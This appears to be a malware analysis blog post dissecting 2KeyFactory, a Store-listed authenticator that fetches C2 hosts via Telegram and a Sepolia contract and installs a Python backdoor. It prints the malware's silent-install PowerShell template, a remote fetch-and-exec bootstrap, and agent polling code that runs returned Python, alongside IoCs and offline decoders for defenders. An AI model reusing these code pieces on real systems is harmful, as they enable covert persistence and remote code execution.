· 18 min read
Big surprise, I found 2KeyFactory in the Microsoft Store, which is straight up malware. The listing promised a desktop authenticator that works fully offline and keeps secrets on the device. I checked again on October 15, 2026, and it was still up.
I took the app into Ghidra, dug through an ANY.RUN task, and pulled the live responses from an isolated attribution sandbox. The app's first move was to fetch a control host from Telegram. So much for fully offline.
The Attack Flow
- The Store-listed wrapper installs a working Go/Wails authenticator. In ANY.RUN, the loader dropped its MSI before anyone added a 2FA account.
- The Go app reads a Telegram invite preview and extracts
uma[.]29empir[.]comfrom itsog:descriptiontag. That gives it a movable first host. - That host serves encrypted configuration and an MSI. The app decrypts them, writes
f29993b054.msi, and starts encoded PowerShell to install it. The MSI in my separate capture matches the one from ANY.RUN byte for byte. - The
InstallUpdMSI leaves scripts under%LOCALAPPDATA%\InstallUpd\scripts, adds a Startup shortcut, and starts fetching an embedded Python runtime into a random directory under%LOCALAPPDATA%. ANY.RUN ended while Python packages were still installing. - If setup reaches
get_message.py, it callsgetMessage()on a Sepolia contract and writes the returned hostname toML.txt. The saved RPC reply ABI-decodes todeployment.eastus.cloudapp.azure.com; ANY.RUN did not reach this step. - The scripts are set to fetch JSON field
cfrom that host (?v=6during setup,?v=1at logon) and run it inpythonw.exe. My separate GETs returned a Python agent whose loop can decrypt POST replies and pass them toexec(..., globals()). I did not observe an agent POST or a task from the operator.
The Installers (Big funny)
The Store listing's x64 installer record for version 5.3.1 contains these fields:
sourceUri hxxps://edmondspharmacy[.]com/download/versions/5.3.1/2keyfactory.exe
cdnUri hxxps://cdn.storeedgefd.dsx.mp.microsoft[.]com/wus2/cachedpackages/95875170/ccc878e4-d658-4d41-92f2-93c242446fea/0bcf272d8f22fa30d327d7c0233b7eae7d50df1ebd95472aae59aef19c8e23bf/file
hash 0bcf272d8f22fa30d327d7c0233b7eae7d50df1ebd95472aae59aef19c8e23bf
That SHA-256 matches the 9,894,336-byte wrapper I downloaded. The cdnUri is a separate Microsoft cache field in the Store page, not a recorded HTTP redirect from edmondspharmacy.com. On October 15, 2026, a manual visit to the sourceUri landed at https://ggi.dietondemand.com/ and returned 404. I did not save the intermediate status codes or Location headers, so that later visit does not establish how the wrapper was served when Microsoft cached it. The name edmondspharmacy.com tells me nothing about who controlled the domain during this case.
The names get annoying fast:
| File | What it is | Signature |
|---|---|---|
2KeyFactory Installer.exe, 813,088 bytes | Microsoft Store Installer bootstrapper | Valid Microsoft Corporation signature |
2KeyFactory.exe, 9,894,336 bytes | Advanced Installer wrapper for the app | Valid signature issued to KIROPRAKTOR GUSTAV SELLERGREN ANS |
Bundled 2KeyFactory.msi, 3,667,968 bytes | Installer inside that wrapper; product says 2KeyFactory 5.3.1 by Arendev | Unsigned |
Extracted 2KeyFactory.exe, 12,338,544 bytes | The Go/Wails authenticator application | Same KIROPRAKTOR GUSTAV SELLERGREN ANS signer as the wrapper |
f29993b054.msi, 36,864 bytes | A different MSI delivered later by the control server; product says InstallUpd by InsCorp | Unsigned |
The Microsoft-signed file is the Store Installer bootstrapper. The separate 2KeyFactory wrapper has a valid signature from the Norwegian organization in the table, even though its PE version metadata says Arendev, like the Store listing. Authenticode tells me the signed portions of the PE validate under that certificate. It says nothing about whether the app is safe or who operated this campaign.
The app really does implement TOTP accounts and code generation. I found no direct path from saved TOTP secrets to the network in the Go functions I inspected. The loader can fire with zero accounts.
Telegram Was the Address Book
On startup, the Go app requests a hardcoded Telegram invite preview. The captured page metadata made the trick pretty obvious:
<meta property="og:description" content="twfab https://uma.29empir.com twfab">
The text between the twfab markers becomes the first control host. Whoever controls that preview can move the host without rebuilding the executable. I found no Telegram Bot API call or bot token.
The app appends two Ethereum-looking strings to that host. One is hardcoded. For the other, it derives a public key from an embedded secp256k1 scalar, hashes the 64 public-key coordinate bytes with Keccak-256 (leaving off the 04 uncompressed-key prefix), takes the last 20 bytes, and applies EIP-55 checksum casing. The scalar is 9cf9e139e5a3fa35f0ee13ee5388d2cec9e49b774c8000e3b0adc79bd598b416. Both addresses are fixed URL path components for this sample. They do not identify a victim, and I found no blockchain transaction code in the Go app.
hxxps://uma[.]29empir[.]com/
0xda37dD401c5A5192250811915D4129505989A5f8/
0xc87D06242E8A372DCe89549f7479Ed9C6435d731
Startup asks that base for /features and /config. The loader is also reachable from UI and window actions without a 2FA account or setup key. A guard limits it to one attempt per app instance.
These are the Go functions I followed in Ghidra. Startup reaches the first four; Vovu is the loader that the UI and window actions can call later.
| Function in the extracted app | Role |
|---|---|
main.Zsjsei at 0x1403F6900 | Fetches the Telegram preview, extracts the marked host, and appends the two address strings. |
main.Qszwug at 0x1403F73E0 | Requires HTTP 200 from <base>/features. |
main.Otrjhv at 0x1403F6680 | Gets and decrypts <base>/config. This is the package function, separate from the frontend-bound main.(*App).Otrjhv. |
main.Yehkp at 0x1403F7160 | Performs the AES-GCM decryption. |
main.(*App).Vovu at 0x1403F7460 | Sets a guard at App+0x18, checks enable, and takes the selected loader branch. |
The frontend calls Vovu on Start and Close. MinimizeWindow, RequestClose, ConfirmClose, and beforeClose also reach it. The compiled code has other payload types, but the captured configuration selected msi.
The First Server
On October 14, I saved six GET responses from the first host in the isolated sandbox. Their response headers date them to 20:48:38–41 UTC. Every one returned HTTP 200. The app preserves the mixed-case address strings for /features, /config, and the bare download URL. It lowercases them for the other delivery requests.
| Route | Decrypted or observed result |
|---|---|
/features | Empty body; the app treats the 200 as a readiness check. |
/config | Enabled MSI delivery configuration. |
/sales | Windows Security Center WMI query for antivirus products. |
| Bare two-address URL | Encrypted bytes that decrypt to the 36,864-byte InstallUpd MSI. |
/popular | PowerShell template for a silent msiexec install and MSI deletion. |
/wishlist | Prefix that launches powershell.exe -ExecutionPolicy Bypass -EncodedCommand through cmd.exe. |
The responses came through Cloudflare with cf-cache-status: DYNAMIC. The bare download advertised Content-Disposition: attachment; filename="0xc87d06242e8a372dce89549f7479ed9c6435d731.bin", a previous-day Last-Modified value, and X-Version: 4. I do not know what that version header means.
The decrypted /sales value is literally:
SELECT displayName, productState FROM AntiVirusProduct | root\SecurityCenter2
The /config response was JSON with a Base64 enc field. The program SHA-256 hashes the 32 raw bytes of the scalar above, after hex decoding it, to get an AES-256-GCM key. Hashing the 64 ASCII hex characters instead gives the wrong key. With the derived key, the captured response authenticated and decrypted to:
{"check_av":false,"dll_cap_func":"","enable":true,"enable_ex":false,"enable_uac":false,"trigger_process":"","type":"msi"}
The key for this sample is f882ff907b9134d655a63e2a6b4281f66c977be92e10b7647c933984a7d887ac. The blob format is a 12-byte nonce, ciphertext, and 16-byte GCM tag. The other JSON endpoints use the same enc arrangement; the bare URL returns raw encrypted bytes. All five captured encrypted responses passed GCM authentication offline.
enable:true and type:msi tell the app to take the MSI route. check_av:false skips an optional antivirus-dependent early-return gate; enable_uac:false skips a UAC request. A blank trigger_process means the loader does not wait for a named process, and enable_ex:false skips the optional /demo branch.
The Go code still has AV discovery and a possible /comp telemetry POST. I could not confirm that POST ran in ANY.RUN. Ghidra also showed ps1, exe, dll_mi_main, and dll_rundll32 branches, with route strings including /trial, /plans, /inventory, /stores, and /history. Those are static findings; I captured responses only from the six routes in the table.
The bare URL returned 36,892 encrypted bytes: a 12-byte nonce, 36,864 bytes of ciphertext, and a 16-byte tag. GCM decryption produced an MSI beginning with the OLE header D0 CF 11 E0 A1 B1 1A E1. Its SHA-256 is 8496a93e1d38f63f8feb61eec0a336a6c41f8cab014fc83ab61e1d612f6315e7, and the decrypted bytes match files/394.file from the ANY.RUN export byte for byte.
The /popular endpoint supplied the installer command. The app replaces both | markers with its random MSI path:
$ErrorActionPreference='Stop'; try { $p = Start-Process -FilePath 'msiexec.exe' -ArgumentList '/i "|" /qn /norestart' -WindowStyle Hidden -PassThru; if (-not $p) { throw "Process start failed" }; $p.WaitForExit(); $code = $p.ExitCode; Remove-Item -Path '|' -Force -ErrorAction SilentlyContinue; if ($code -ne 0 -and $code -ne 3010) { exit $code } } catch { exit 1 }
The Go app fills those markers, encodes the script as UTF-16LE Base64, and launches it with the /wishlist prefix. In ANY.RUN, the decoded PowerShell command invoked msiexec.exe /i "C:\Users\admin\AppData\Roaming\f29993b054.msi" /qn /norestart; the script was also set to wait and delete the MSI afterward. The export did not show a corresponding deletion event. The ten-hex-character filename fits the Go loader's naming routine.
Here is an offline check for config.body and root.body. It reads the saved responses and prints hashes; it never runs the MSI:
import base64
import hashlib
import json
from pathlib import Path
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
key = bytes.fromhex(
"f882ff907b9134d655a63e2a6b4281f66c977be92e10b7647c933984a7d887ac"
)
config = base64.b64decode(json.loads(Path("config.body").read_text())["enc"])
msi = Path("root.body").read_bytes()
for name, blob in (("config", config), ("MSI", msi)):
plain = AESGCM(key).decrypt(blob[:12], blob[12:], None)
print(name, len(plain), hashlib.sha256(plain).hexdigest())
The expected output is:
config 121 ba3cdfc16ffcb87f9199f4b5165de53479ab912b6fde41d5eaa3c46ad5b48e9a
MSI 36864 8496a93e1d38f63f8feb61eec0a336a6c41f8cab014fc83ab61e1d612f6315e7
ANY.RUN with the W
The task export lists MD5 806c58be9684b1bc4af1a9c43763a4ce, which matches my downloaded wrapper. Here is what it recorded on October 14, 2026 (UTC):
| Time | Recorded activity |
|---|---|
| 19:55:42 | The installed Go/Wails 2KeyFactory.exe started. |
| Around 19:55:45 | DNS lookups for t.me and uma.29empir.com, and TLS connections to Telegram and the first host. |
| 19:55:54 | It created C:\Users\admin\AppData\Roaming\f29993b054.msi. |
| 19:55:56–58 | Encoded PowerShell started msiexec; the InstallUpd scripts and InstallUpd.lnk Startup shortcut appeared. |
| 19:55:58 | ins.cmd started, followed by curl for the embedded Python ZIP. |
| 19:56:05–51 | The Python ZIP and get-pip.py downloads returned HTTP 200. |
| 19:57:39 onward | Python package installation began; the task ended while pywin32 was still installing. |
The welcome screenshot still advertised “Works fully offline” above a Start button. A later shot showed 0 accounts on the codes screen. The MSI file appeared before the add-account form; only after that form did the screen show one code.
ANY.RUN's HTTP summary did not show the first host's HTTPS URLs. The export has a PCAP and TLS key log, but the keys do not match the Go app's sessions to the host's Cloudflare-facing IP. I could see the DNS lookups, TLS connections, process starts, and file writes, but not those decrypted requests. There was no pythonw.exe, Sepolia RPC request, or Azure connection in this task. I collected the later responses with separate manual requests in the isolated sandbox.
InstallUpd
The 36 KB MSI calls itself InstallUpd 1.0.0.0 by InsCorp and installs four files under %LOCALAPPDATA%\InstallUpd\scripts: ins.cmd, start.cmd, get_message.py, and abi.json. Its ExPS custom action runs immediately after InstallFinalize, launches ins.cmd through cmd.exe /c start, and ignores its return code. It runs only for a fresh install (NOT Installed). msiexec exiting would not prove the Python setup finished. In ANY.RUN, the process log shows ins.cmd starting and the Python setup getting underway.
The MSI puts an InstallUpd shortcut in the current user's Startup folder to run start.cmd at logon. It writes Installed=1 and StartupShortcut=1 under HKCU\Software\InsCorp\InstallUpd. The shortcut gives it logon persistence. The Python agent runs its own loop while its process is alive. The MSI's uninstall entries leave the separate random Python runtime directory alone.
ins.cmd tries to make a random nine-letter directory under %LOCALAPPDATA%, downloads the Python 3.14.3 embedded runtime and get-pip.py, and attempts to install pythonnet, pywin32, pywinpty, websockets, and web3. The downloads from python.org and bootstrap.pypa.io are runtime setup, not evidence that those services are operator infrastructure.
If setup reaches it, ins.cmd runs get_message.py, which uses the public Sepolia RPC at ethereum-sepolia-rpc.publicnode.com to call getMessage() on contract 0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f. It writes the answer to ML.txt. The supplied RPC response ABI-decodes to:
deployment.eastus.cloudapp.azure.com
That value is visible in the saved sepolia-getMessage.json without querying the chain again. ABI strings start with an offset word, then a length word, then the bytes. This offline check prints 32 36 deployment.eastus.cloudapp.azure.com:
import json
from pathlib import Path
reply = json.loads(Path("sepolia-getMessage.json").read_text())
raw = bytes.fromhex(reply["result"][2:])
offset = int.from_bytes(raw[:32], "big")
length = int.from_bytes(raw[offset:offset + 32], "big")
host = raw[offset + 32:offset + 32 + length].decode()
print(offset, length, host)
get_message.py builds its paths and splits several strings into pieces. This illustrative excerpt has the names cleaned up; it is not the verbatim MSI script:
runtime = Path(sys.executable).parent
abi = json.loads((runtime / "abi.json").read_text())
rpc = Web3(Web3.HTTPProvider("https://ethereum-sepolia-rpc.publicnode.com"))
host = rpc.eth.contract(
"0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f", abi=abi
).functions.getMessage().call()
(runtime / "ML.txt").write_text(f"{str(host).strip()}\n")
The original also adds the embedded Python runtime's site-packages directory to sys.path before importing web3. The contract returns a hostname, not Python code.
The contract source that Blockscout reports as verified is tiny: one public string, a getMessage() function, and an owner-only setMessage(). I did not independently recompile and match its bytecode. A September 22 transaction set the string to the Azure hostname. The owner can change that hostname with setMessage(). The supplied RPC JSON has no block number, so it records the returned value without tying it to a particular chain state.
Using the hostname from ML.txt, ins.cmd asks for https://<host>/<six random letters>/<nine random letters>?v=6, expects JSON field c, and executes that field as Python. The one-liner in pythonw.exe -c has this shape (illustrative pseudocode; the helper names are placeholders):
url = f"https://{host}/{letters(6)}/{letters(9)}?v=6"
agent_source = json.loads(download_with_tls_checks_disabled(url))["c"]
exec(agent_source)
The actual command uses urllib with ssl._create_unverified_context() and gives this GET no explicit timeout. It runs the returned c field without a signature or hash check. The Startup script scans the directories directly under %LOCALAPPDATA% for pythonw.exe at logon and uses ?v=1. For each matching directory, it reruns the contract lookup if get_message.py is there, then launches pythonw.exe. Without the helper, it still tries to launch; its one-liner expects ML.txt to exist.
It could launch more than one copy. If the first scan finds none, the script searches recursively for pythonw.exe. The bootstrap GETs disable TLS certificate verification and have no hardcoded hostname fallback if reading ML.txt fails.
The Python Bit
I fetched the ?v=6 and ?v=1 URLs in the isolated sandbox, sending the Python-urllib/3.14 user agent used by that runtime's default urllib requests. Both returned HTTP/2 200 from nginx/1.30.5 and a 24,833-byte JSON body with a single field, c. That field held 24,334 characters of Python source.
Each extracted *-code.txt has one extra newline added by jq. The two raw bodies differ by one byte: the unused assignment VI = 6 versus VI = 1. VB = 9 is also unused. The behavior in the captured source is otherwise the same.
My first curl attempt failed certificate-chain validation. I retried with --insecure, which matches the malware's decision to turn verification off. I saved the returned bytes, but the capture does not authenticate the HTTPS server behind that hostname. ANY.RUN did not reach this step; these GETs were manual requests.
The returned Python is a polling backdoor. It derives an ID from its runtime directory and builds a ping. I've shortened the obfuscated variable names and joined the split string literals here:
local_id = sys.executable.split("\\")[-2][1:9].strip() * 2
ping = json.dumps({
"ping": {
"local_id": local_id,
"timestamp": datetime.now().isoformat(),
"ping": True,
}
}).encode()
results = []
The installer makes a random nine-letter runtime directory. If it were named Abcdefghi, that slice would take bcdefghi and repeat it as bcdefghibcdefghi. On that intended path, the 16-character value is both the agent's local_id and its encryption key. The Startup script's broad pythonw.exe scan could select a different directory; a name that fails to yield 16 bytes would be rejected by the cipher constructor. The ping has an outer ping object and an inner ping: true. It is built once when the script loads, so idle polls would reuse the same timestamp even though the POST body gets a fresh nonce each time.
For its POST URL, the agent makes three independent random.choice() picks from a fixed list of ten 30-character markers. One of them, assembled from source fragments, is yEALBmsqkngpHjkBMmqodVDMNlKFyJ. It never uses the middle choice. The other two and local_id make the path shown below; they are picked once when the process starts, not again for every poll. The two used markers can be identical.
At startup it reads ML.txt once, falling back to deployment.eastus.cloudapp.azure.com if the read fails. POSTs skip certificate and hostname checks, time out after 30 seconds, and are followed by a random 75–105 second sleep. The POST markers come from the fixed list; the bootstrap GET uses fresh six- and nine-letter strings.
The code builds this POST; I did not observe one in the sandbox:
POST https://<host>/<marker>/<local_id>/<marker>
request body = random 8-byte nonce || encrypted ping or queued result
expected response body = 8-byte nonce || encrypted Python source
key = the 16 ASCII bytes of <local_id>
next step = exec(decrypted_response, globals())
The cipher class accepts 16- and 32-byte keys, but this agent always passes the 16-byte local_id on the intended runtime path. It uses Salsa20's quarter-round rotations (7, 9, 13, and 18 bits) and 20 rounds. Written with shorter names, the reached 16-byte-key path initializes the state like this:
[c0, k0, k1, c1, n0, n1, counter, 0,
c2, k2, k3, c3, counter, 0, n0, n1]
The c words come from expand 16-byte k; k is the local_id split into little-endian words; n is the eight-byte nonce. The nonce and counter appear twice in this layout. It produces 64-byte keystream blocks, increments the counter for the next block, and XORs the keystream with the data. The same operation decrypts a reply. A stock Salsa20 decoder will not work.
There is no authentication tag or MAC. Because the 16-byte key is also a URL path segment, a capture with the decrypted HTTP URL and raw POST bodies would allow an offline decode. A TLS packet capture without decrypted HTTP would not reveal that path. An active party able to impersonate the unchecked TLS endpoint could also construct a reply that decrypts to Python; I did not observe such an interception.
A queued result leaves results before the POST succeeds. With the long names shortened, the send and receive path is below; CustomStream stands in for the source's cipher class:
nonce = os.urandom(8)
payload = results[0] if results else ping
if results:
del results[0]
body = nonce + CustomStream(local_id.encode(), nonce).xor(payload)
# After the POST returns a response body:
if len(response) >= 8:
reply_nonce, encrypted_code = response[:8], response[8:]
code = CustomStream(local_id.encode(), reply_nonce).xor(encrypted_code).decode("utf-8")
if code:
exec(code, globals())
The POST sends application/octet-stream. A queued result must be bytes for the XOR routine. The agent ignores responses shorter than eight bytes, but it reads an HTTP error's body as possible tasking. Other network errors end that poll without an error message.
The exec(..., globals()) call lets returned Python use the agent's globals, including results; the captured script never adds to that list itself. Its thrds dictionary has an unused kl key, but I found no keylogger, screenshot capture, or TOTP-reading code in this Python. The agent imports only standard-library modules; web3 belongs to the earlier hostname lookup.
Offline Decoder
I have no agent POST from this case, but the 16-byte-key path is short enough to transcribe. This decoder takes the local_id from a decrypted POST URL and a saved raw request or response body. It writes the decrypted bytes to a file. It makes no network request and never runs the result. It is for the agent's custom stream cipher; the first server's AES-GCM blobs use the earlier snippet.
"""Offline decoder for saved 2KeyFactory Python-agent POST bodies.
Independent transcription of the 16-byte-key cipher path in the captured
v1/v6 Python source. This script reads a saved body; it makes no network
requests and does not execute decrypted content.
"""
from pathlib import Path
import struct
import sys
MASK = 0xFFFFFFFF
SCHEDULE = (
(0, 4, 8, 12), (5, 9, 13, 1), (10, 14, 2, 6), (15, 3, 7, 11),
(0, 1, 2, 3), (5, 6, 7, 4), (10, 11, 8, 9), (15, 12, 13, 14),
)
def rotate_left(value: int, bits: int) -> int:
return ((value << bits) & MASK) | (value >> (32 - bits))
def quarter_round(a: int, b: int, c: int, d: int) -> tuple[int, int, int, int]:
b ^= rotate_left((a + d) & MASK, 7)
c ^= rotate_left((b + a) & MASK, 9)
d ^= rotate_left((c + b) & MASK, 13)
a ^= rotate_left((d + c) & MASK, 18)
return a, b, c, d
def stream_xor(key: bytes, nonce: bytes, data: bytes) -> bytes:
if len(key) != 16 or len(nonce) != 8:
raise ValueError("expected a 16-byte key and an 8-byte nonce")
c0, c1, c2, c3 = struct.unpack("<4I", b"expand 16-byte k")
k0, k1, k2, k3 = struct.unpack("<4I", key)
n0, n1 = struct.unpack("<2I", nonce)
output = bytearray()
for counter, pos in enumerate(range(0, len(data), 64)):
if counter >= MASK:
raise OverflowError("cipher counter overflow")
state = [
c0, k0, k1, c1, n0, n1, counter, 0,
c2, k2, k3, c3, counter, 0, n0, n1,
]
work = state.copy()
for _ in range(10):
for slots in SCHEDULE:
values = quarter_round(*(work[i] for i in slots))
for i, value in zip(slots, values):
work[i] = value
stream = struct.pack(
"<16I", *((a + b) & MASK for a, b in zip(work, state))
)
output.extend(a ^ b for a, b in zip(data[pos : pos + 64], stream))
return bytes(output)
def decode_body(local_id: str, body: bytes) -> bytes:
if len(body) < 8:
raise ValueError("body is missing the 8-byte nonce")
return stream_xor(local_id.encode("ascii"), body[:8], body[8:])
if __name__ == "__main__":
if len(sys.argv) != 4:
raise SystemExit("usage: offline_agent_decoder.py LOCAL_ID BODY_FILE OUTPUT_FILE")
Path(sys.argv[3]).write_bytes(
decode_body(sys.argv[1], Path(sys.argv[2]).read_bytes())
)
For a synthetic check, local_id bcdefghibcdefghi, nonce 0001020304050607, and plaintext {"ping":true} produce ciphertext 75dc26075f1ecd1dc8ca0ee7c9. That is a test vector for the transcription, not an observed agent message. A real body starts with the eight-byte nonce and then the ciphertext. The output file contains data to inspect, not Python to run.
The Verdict
The downloaded Go executable contains a remote loader. In my separate C2 capture, its configuration endpoint enabled MSI delivery, and the payload decrypted to the exact MSI that ANY.RUN showed the app installing. That MSI planted a Startup shortcut and scripts for fetching Python. The separately captured agent can poll for encrypted code and run it with exec(). That is enough for me to call 2KeyFactory a backdoor loader.
ANY.RUN stopped during pywin32 installation, before pythonw.exe appeared. There was no Sepolia request, Azure GET, agent POST, or returned task in that task. My manual GETs show what the later route served, not which commands an operator sent. I have no evidence that TOTP secrets were stolen.
The IoCs
The app wrapper and second MSI have VirusTotal entries. The ANY.RUN task has the install trace. Here are the hashes:
SHA-256 2KeyFactory Installer.exe (Store bootstrapper)
d31a27f9ffc51dd6303b2da4611848ac73ae4574a4fc9b6ee0be8aa084c0316e
SHA-256 2KeyFactory.exe (downloaded wrapper)
0bcf272d8f22fa30d327d7c0233b7eae7d50df1ebd95472aae59aef19c8e23bf
SHA-256 2KeyFactory.exe (extracted Go/Wails app)
bc6af94ef856472d2a5b75de58fc12e9616d37d1b9dba17ffeeda81d77e40b47
SHA-256 bundled 2KeyFactory.msi
b00bb92f3409b5bc7238a2c4be0f49581431d7c2a1b70d59d4e62fbe4129333f
SHA-256 InstallUpd MSI, decrypted from first C2 / ANY.RUN artifact
8496a93e1d38f63f8feb61eec0a336a6c41f8cab014fc83ab61e1d612f6315e7
SHA-256 Azure JSON response, ?v=6
2fce0aa6c3561cc6ca63f5cb5d6b6659b4c9396da0083bc4a2fa541aa9218099
SHA-256 Azure JSON response, ?v=1
d1a00a3bbee15476806dfcd80bf0bec50e575d48f70794f42cbea46150ebc4ab
SHA-256 extracted Python source, ?v=6 (includes jq newline)
4fb02d146b501cda4833857bb59ae7fa62c646c5438d8e586272e4610497e5ba
SHA-256 extracted Python source, ?v=1 (includes jq newline)
47c7c85d37f8bf2c85161d3bd5632bbb9d1800f1bdde1bec2d714a0024aab6af
Telegram invite pointer: hxxps://t[.]me/+GzoxJO0LwkAzMDcy
Store sourceUri: hxxps://edmondspharmacy[.]com/download/versions/5.3.1/2keyfactory.exe
First control host: uma[.]29empir[.]com
Second-stage host: deployment[.]eastus[.]cloudapp[.]azure[.]com
Sepolia contract: 0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f
Startup shortcut: InstallUpd.lnk -> cmd.exe
Shortcut arguments: /c "%LOCALAPPDATA%\InstallUpd\scripts\start.cmd"
Registry markers: HKCU\Software\InsCorp\InstallUpd
InstallUpd ProductCode: {92A34C18-B683-4016-88F1-E7308AE85B6B}
The Cloudflare IPs in the first C2 capture were edge addresses; I have no origin IP. The code also uses ethereum-sepolia-rpc.publicnode.com, python.org, and bootstrap.pypa.io as public services. I would not treat those as unique actor infrastructure. The Azure GET path letters are randomly generated for each request.
The agent picks two POST markers from the following source-defined strings. I did not capture a POST to any of them:
yEALBmsqkngpHjkBMmqodVDMNlKFyJ
QscDBIkBWmNMRNrjcBynSrtnFnqrcV
cVqQUtlInytLfzlZnFtSckYHGRZtVw
XrliLfmlqtMUNwjMGoTMqfYySLSFPU
LYQrxnkuCeIsImzSCXKCBhsDdmFIHS
BSnueeZcUUtNaBZNJuXdEwdFEiidbv
MzkDwjDNGzTlZHrEPqjlTzFOvPlcgK
AhOLClSSClmlcaAHlXmbVDQymzkTbU
eqJppVjlxQeyxHHjfLfoGEukkhHeJq
mOyDqsSJRmQJEvBDuLDIzRvsLXamgX